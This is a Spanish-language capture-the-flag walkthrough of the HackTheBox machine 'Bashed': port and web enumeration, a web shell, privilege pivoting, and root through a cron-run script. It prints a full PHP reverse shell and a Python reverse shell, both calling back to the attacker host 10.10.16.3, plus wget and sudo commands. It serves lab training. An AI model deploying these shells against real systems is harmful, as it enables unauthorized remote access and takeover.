🟢Bashed

Write-up de la máquina Bashed de HackTheBox #writeup #walkthrough

Enumearación

Enumeración de puertos

Comenzamos la resolución de la máquina Bashed, realizando la enumeración rápida de los servicios que está ejecutando.

nmap -p- --open -Pn --min-rate 500 10.10.10.68

Un único puerto abierto. Veamos que se está ejecutando detrás de este puerto.

nmap -p80 -sVC -Pn 10.10.10.68

VERSIONES

  • Puerto 80 -> HTTP -> Apache httpd 2.4.18

Enumeración Web

En la máquina objetivo, se está ejecutando un servidor Web en el puerto 80. Veamos su contenido.

Enumeramos los archivos y directorios del sitio Web.

dirsearch -u http://10.10.10.68 -i 200,301

Encontramos varios directorios interesantes: /php, /dev y uploads. Veamos su contenido.

En el directorio /php, encontramos el archivo sendMail.php que no nos aporta ninguna utilidad. El siguiente directorio que enumeraremos será /dev.

Encontramos lo que parece una terminal de comandos dentro de la máquina objetivo. Vamos a tratar de utilizar este vector para acceder al sistema.

Explotación

En la fase de enumeración, encontramos que dentro de un directorio del sitio Web podíamos acceder a una terminal de comandos con acceso al sistema objetivo. Veamos como la podemos aprovechar. Como el sitio Web está desarrollado en .php y existe un directorio /uploads, vamos a tratar de crear un archivo malicioso .php y a enviarlo al sistema objetivo utilizando un servidor HTTP Python.

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 [email protected]

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.3';
$port = 1234;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

El siguiente paso será por un lado configurar un oyente en el puerto 1234 y por otro lado, ejecutar el archivo reverse.php desde el navegador.

Ya tendremos acceso a la máquina objetivo. Configuramos una terminal interactiva y buscamos la flag user.txt

Pivotando de www-data a scriptmanager

Enumerando el directorio actual, encontramos el siguiente directorio interesante.

Pero al cual no tenemos privilegios para acceder.

Comenzamos enumerando los binarios que el usuario actual puede ejecutar con privilegios elevados sin necesidad de contraseña.

Sabiendo esto, vamos a tratar de crear una nueva shell como usuario scriptmanager.

sudo -u scriptmanager /bin/bash

Y volvemos a comprobar si podemos acceder al directorio /scripts.

Elevación de privilegios

Una vez hemos pivotado de www-data a scriptmanager, ya podremos ver el contenido del directorio /scripts. Dentro encontramos dos archivos: test.py y text.txt. Veamos el contenido de ambos archivos.

Parece que al ejecuta test.py, genera el archivo test.txt y su contenido. También debemos observar el detalle de que el archivo test.txt es propiedad de root. Si ejecutamos test.py, test.txt simplemente será propiedad de scriptmanager, ya que es con quién se ejecuta. La forma de entender esto es que sea ejecutado por root. Si observamos la hora en que se crea test.txt, se actualiza cada minuto. Probablemente, sea un trabajo cron, propiedad de root, que ejecuta test.py cada minuto. Creamos el siguiente archivo test.py

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.16.3",1234)) 
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Y lo transferimos a la máquina objetivo, al directorio /scripts.

python3 -m http.server 8080
wget 10.10.16.3:8080/test.py

Ahora configuramos un oyente nc en nuestra máquina de ataque. Después de 1 minuto deberíamos conseguir shell con privilegios elevados dentro del sistema objetivo.

Solo quedará buscar la flag root.txt para completar la máquina Bashed

Video resolución en Twitch:

Last updated